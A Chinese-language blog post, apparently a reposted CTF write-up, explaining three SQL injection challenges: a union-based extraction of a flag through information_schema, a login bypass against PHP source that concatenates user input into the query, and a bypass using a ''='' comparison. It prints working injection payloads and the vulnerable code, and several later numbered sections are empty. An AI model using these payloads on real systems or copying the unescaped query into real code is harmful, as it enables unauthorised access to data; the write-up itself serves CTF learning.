BCTF-sql_injection
Posted sylover
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BCTF-sql_injection相关的知识,希望对你有一定的参考价值。
汇总了一些SQL注入的知识点,有一些知识还是很具有实战经验的。
1.(基于GET型变量)
输入1的时候有一个正常的回显,当输入1‘发生报错,查询不到信息,可以确定的是查询语句没有过滤单引号。大概推测后台sql语句为select xx from xx where id =‘input_id‘ 总之id的位置应该是闭合了单引号。
最终payload
id=1‘ order by 5 # id=-1‘ union select 1,2,3,4# id=-1‘ union select 1,database(),user(),version()# id=-1‘ union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())# id=-1‘ union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name=‘fl4g‘)# id=-1‘ union select 1,2,3,(select skctf_flag from fl4g)#
2.万能密码
给出了数据库源码
<html> <head> Secure Web Login </head> <body> <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ‘:‘ . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = trim($_POST[user]); $pass = md5(trim($_POST[pass])); $sql="select user from ctf where (user=‘".$user."‘) and (pw=‘".$pass."‘)"; echo ‘</br>‘.$sql; $query = mysql_fetch_array(mysql_query($sql)); if($query[user]=="admin") { echo "<p>Logged in! flag:******************** </p>"; } if($query[user] != "admin") { echo("<p>You are not admin!</p>"); } } echo $query[user]; ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.phps">Source</a> </html>
对于这句话
$sql="select user from ctf where (user=‘".$user."‘) and (pw=‘".$pass."‘)"
我们相当于要构造一个select user from ctf where (user=‘xxx‘) and (pw=‘xxx‘) or 1=1
因此要构造括号闭合的情况 即username=admin‘)# 利用#将后面pwd验证环节注释掉
3.万能密码2
这是一个登陆框,由于没有防火墙(WAF)的限制,直接用bp筛选出过滤的字符。
经过测试过滤了select or union / | % 几乎能注入的语句都被过滤掉了。因此想绕过登陆只能使用弱类型密码。
弱类型密码:
mysql> select ‘‘=‘‘; +-------+ | ‘‘=‘‘ | +-------+ | 1 | +-------+
mysql> select * from users where username=‘‘=‘‘ and password = ‘‘=‘‘; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | test1 | pass | | 2 | user2 | pass1 | | 3 | test3 | pass1 | +----+----------+----------+
这样构造的原理即利用=无法验证的原理,构造=等于=,额。。。这样说有点怪,实质上语句即变成了select * from xxx where username and password 。
无账号的情况下直接登陆进去了。
3.
4.
5.
6.
7.
以上是关于BCTF-sql_injection的主要内容,如果未能解决你的问题,请参考以下文章